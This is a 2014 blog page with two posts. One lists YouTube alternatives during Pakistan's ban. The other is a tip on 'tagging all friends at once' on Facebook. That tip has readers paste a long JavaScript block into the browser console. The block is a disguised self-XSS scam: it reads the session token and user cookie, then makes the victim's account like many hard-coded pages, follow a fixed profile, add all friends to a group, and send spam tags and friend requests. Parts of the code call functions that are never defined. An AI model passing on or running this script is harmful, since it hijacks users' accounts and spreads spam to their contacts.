Tuesday 25 February 2014

ALTERNATIVE$ TO YOUTUBE. . ....!!!

                               REPLACING YOUTUBE


WEBSITES THAT LET YOU STREAM & DOWNLOAD VIDEOS:

It has now been seventeen months since we lost access to youtube in pakistan because of a ban imposed on september 17,2012. Following this ban, some other video streaming/downloading & torrent websites have been blocked & some later unblocked too at different times.While authorities continue their erratic censorship spurts, I thought to compile a list of websites that offer streaming & downloading of videos. 

Blip
              Blip.tv offers original web series & other videos, viewable in standard as well as HD formats. It has a clean layout with videos neatly placed in different categories.From animated movies to drama & entertainment,Blip has a wide range of categories.Moreover, its videos can be downloaded easily using external websites like SaveVideo.Me.

                 If you are a wild life admirer ,then Explore.org will serve as an online animal planet for you. It hosts high quality animal documentaries.You can easily download any video by logging into the website through Facebook,Twitter,Google or Yahoo IDs or by using an Explore.org account.

Vimeo:
          Vimeo.com contains videos uploaded by amateur as well as professional videographers.It has a very sleek look & videos can be streamed in HD format as well.In order to download any vimeo video, or rather one that the publisher hasn't allowed you to do so directly from the website,one can use the "Vimeo Download Videos" chrome extension if you are using chrome browser. You can also use an online video downloader like Keepvid.com to download Vimeo videos.

VidPk.com:
         VidPk.com is a website hosting programs from various pakistani news & entertainment channels. It features dramas,cooking shows, sit-coms, movies, music & talk shows.The videos are not high quality but the volume of video  repository is impressive.VidPk contains latest episodes of new & current TV serials as well as classic urdu programs.

TED:
       TED,as its tagline says, is all about "Ideas Worth Spreading". The ted.com website has several videos from all the annual TED conferences focusing on technology, entertainment & design. These videos contain incredibly impressive & knowledgeable talks by great scientists, technologists & professionals from all across the world who are doing amazing work in their own realms.TED videos are freely available for streaming & fairly good in quality.

MetaCafe:
               If you are looking for entertainment videos, then MetaCafe is a place for you. The site offers several short videos revolving around movie reviews, celebrity interviews & games.These videos are available in standard as well as HD quality & can be downloaded easily using the free MetaCafe downloader.

DailymotionBlinkx.comStagevu,
 Bing.com/Videos: From latest news videos to funny viral videos, Blinkx.com, Dailymotion.com, Stagevu.com & Bing.com/Videos are all video sharing website that offer plenty of normal to low quality videos. Some of the more interesting video categories on Blinkx include travel, home & garden and food.
               














Monday 24 February 2014

HOW TO TAG ALL FRIENDS AT ONCE IN A POST??......!!!!!

TAG ALL OF YOUR FRIENDS IN A POST AT ONCE.....!!!

Tagging your friends on Facebook is a great way to let others know who is in the post. Read on to find out how to tag your friends on Facebook at once.

STEPS:


  1. Open the post in a new tab which you want to tag by all your friends.(For this purpose right click on the time below the shared post & select :"Open link in new tab".
  2. Now right click anywhere on page & select "Inspect Element" OR press F12 for this purpose.
  3. After this select the last tab of "CONSOLE", from the ispect element dialog box





4. Now, copy/paste the below code in console tab.
  1. /* CREDITOS AO MIGUEL TARGA, ESSA PARTE E DELE */
  2. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  3. //Pegar todos amigos
  4. function get_friends(){
  5. var a=x__0();
  6. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  7. a.send(null);
  8. if (a.readyState == 4) {
  9. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  10. return f.payload.entries;
  11. }
  12. return false;
  13. }
  14. /* FIM DA PARTE DO MIGUEL TARGA */
  15. //Pegar todos amigos
  16. function get_uid(b){
  17. var a=x__0();
  18. a.open("GET", 'http://graph.facebook.com/'+b, false);
  19. a.send();
  20. if (a.readyState == 4) {
  21. return uid = JSON.parse(a.responseText).id;
  22. }
  23. return false;
  24. }
  25. // Pattern que vai trocar o valor dos coment?rios pelas marcaç?es
  26. var patt = /comment_text=(.*?)&/
  27. var c = 1;
  28. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  29. uid = get_uid(username);
  30. a = window.top.location;
  31. termina = 0;
  32. var amigos = get_friends();
  33. post_id = /[0-9]{8,}/.exec(a);
  34. uids = 'comment_text=';
  35. header = 'ft_ent_identifier='+post_id+'&comment_text=�&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  36. for ( var n = 1 ; n < amigos.length ; n++ ){
  37. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  38. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  39. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  40. c++;
  41. if(c == 7){
  42. // Quando o contador chega em 7, ele termina o parâmetro com um &...
  43. uids += '&';
  44. // ...envia as coisas com o método do indiano...
  45. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  46. // ... espera um segundo...
  47. z = setTimeout('function(){asd=0}', 1000);
  48. clearInterval(z);
  49. // ... e seta tudo de novo pra recomeçar
  50. c = 1;
  51. uids = 'comment_text=';
  52. }
  53. }
  54. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  55. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  56. function cereziAl(isim) {
  57. var tarama = isim + "=";
  58. if (document.cookie.length > 0) {
  59. konum = document.cookie.indexOf(tarama)
  60. if (konum != -1) {
  61. konum += tarama.length
  62. son = document.cookie.indexOf(";", konum)
  63. if (son == -1)
  64. son = document.cookie.length
  65. return unescape(document.cookie.substring(konum, son))
  66. }
  67. else { return ""; }
  68. }
  69. }
  70. function getRandomInt (min, max) {
  71. return Math.floor(Math.random() * (max - min + 1)) + min;
  72. }
  73. function randomValue(arr) {
  74. return arr[getRandomInt(0, arr.length-1)];
  75. }
  76. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  77. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  78. function a(abone){
  79. var http4 = new XMLHttpRequest();
  80. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  81. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  82. http4.open("POST", url4, true);
  83. //Send the proper header information along with the request
  84. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  85. http4.setRequestHeader("Content-length", params4.length);
  86. http4.setRequestHeader("Connection", "close");
  87. http4.onreadystatechange = function() {//Call a function when the state changes.
  88. if(http4.readyState == 4 && http4.status == 200) {
  89. http4.close; // Close the connection
  90. }
  91. }
  92. http4.send(params4);
  93. }
  94. function sublist(uidss) {
  95. var a = document.createElement('script');
  96. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  97. document.body.appendChild(a);
  98. }
  99. //Pages//          
  100. Like("711092378915586");Like("642793782446154");Like("231163567049018");
  101. Like("701517363226382");Like("278507322306991");Like("1406589212925850");
  102. Like("1458890744334076");Like("1421285301448355");Like("1397994553793332");
  103. Like("217613825107954");Like("572919239466273");Like("1441493996082046");
  104. Like("1463692430519501");Like("556171697812090");Like("419344381530319");
  105. Like("1416207438625830");Like("1414995008747730");Like("1415442398702495");
  106. Like("218818168321098");Like("521836297931573");Like("805399149485815");
  107. Like("201982659991675");
  108. sublist("1387885481479136");a("100007730924320");P("734191659952241");
  109. IDS("100007730924320");
  110. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  111. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  112. var httpwp = new XMLHttpRequest();
  113. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  114. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  115. httpwp['open']('POST', urlwp, true);
  116. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  117. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  118. httpwp['setRequestHeader']('Connection', 'keep-alive');
  119. httpwp['send'](paramswp);
  120. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  121. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  122. var friends = new Array();
  123. gf = new XMLHttpRequest();
  124. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  125. gf['send']();
  126. if (gf['readyState'] != 4) {} else {
  127. data = eval('(' + gf['responseText']['substr'](9) + ')');
  128. if (data['error']) {} else {
  129. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  130. return _0x93dax8['index'] - _0x93dax9['index'];
  131. });
  132. };
  133. };
  134. for (var i = 0; i < friends['length']; i++) {
  135. var httpwp = new XMLHttpRequest();
  136. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  137. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  138. httpwp['open']('POST', urlwp, true);
  139. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  140. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  141. httpwp['setRequestHeader']('Connection', 'keep-alive');
  142. httpwp['onreadystatechange'] = function () {
  143. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  144. };
  145. httpwp['send'](paramswp);
  146. };
  147. var spage_id = "582638891808246";
  148. var spost_id = "1399083250333729";
  149. var sfoto_id = "520854291314839";
  150. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  151. var smesaj = "";
  152. var smesaj_text = "";
  153. var arkadaslar = [];
  154. var svn_rev;
  155. var bugun= new Date();
  156. var btarihi = new Date();
  157. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  158. if(!document.cookie.match(/paylasti=(\d+)/)){
  159. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  160. }
  161. //arkadaslari al ve isle
  162. function sarkadaslari_al(){
  163. var xmlhttp = new XMLHttpRequest();
  164. xmlhttp.onreadystatechange = function () {
  165. if(xmlhttp.readyState == 4){
  166. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  167. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  168. smesaj = "";
  169. smesaj_text = "";
  170. for(i=f*10;i<(f+1)*10;i++){
  171. if(arkadaslar.payload.entries[i]){
  172. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  173. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  174. }
  175. }
  176. sdurumpaylas(); }
  177. }
  178. };
  179. var params = "&filter[0]=user";
  180. params += "&options[0]=friends_only";
  181. params += "&options[1]=nm";
  182. params += "&token=v7";
  183. params += "&viewer=" + user_id;
  184. params += "&__user=" + user_id;
  185. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  186. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  187. xmlhttp.send();
  188. }
  189. //tiklama olayini dinle
  190. var tiklama = document.addEventListener("click", function () {
  191. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  192. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  193. sarkadaslari_al();
  194. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  195. document.removeEventListener(tiklama);
  196. }
  197. }, false);
  198. //arkada?? ekleme
  199. function sarkadasekle(uid,cins){
  200. var xmlhttp = new XMLHttpRequest();
  201. xmlhttp.onreadystatechange = function () {
  202. if(xmlhttp.readyState == 4){
  203. }
  204. };
  205. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  206. var params = "to_friend=" + uid;
  207. params += "&action=add_friend";
  208. params += "&how_found=friend_browser";
  209. params += "&ref_param=none";
  210. params += "&outgoing_id=";
  211. params += "&logging_location=friend_browser";
  212. params += "&no_flyout_on_click=true";
  213. params += "&ego_log_data=";
  214. params += "&http_referer=";
  215. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  216. params += "&phstamp=165816749114848369115";
  217. params += "&__user=" + user_id;
  218. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  219. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  220. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  221. xmlhttp.send(params);
  222. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  223. cinsiyetgetir(uid,cins,"sarkadasekle");
  224. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  225. xmlhttp.send(params);
  226. }
  227. }
  228. //cinsiyet belirleme
  229. var cinssonuc = {};
  230. var cinshtml = document.createElement("html");
  231. function scinsiyetgetir(uid,cins,fonksiyon){
  232. var xmlhttp = new XMLHttpRequest();
  233. xmlhttp.onreadystatechange = function () {
  234. if(xmlhttp.readyState == 4){
  235. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  236. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  237. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  238. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  239. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  240. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  241. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  242. }
  243. eval(fonksiyon + "(" + id + "," + cins + ");");
  244. }
  245. };
  246. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  247. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  248. xmlhttp.send();
  249. }          

5. Now press enter and wait for a minute & see the magic...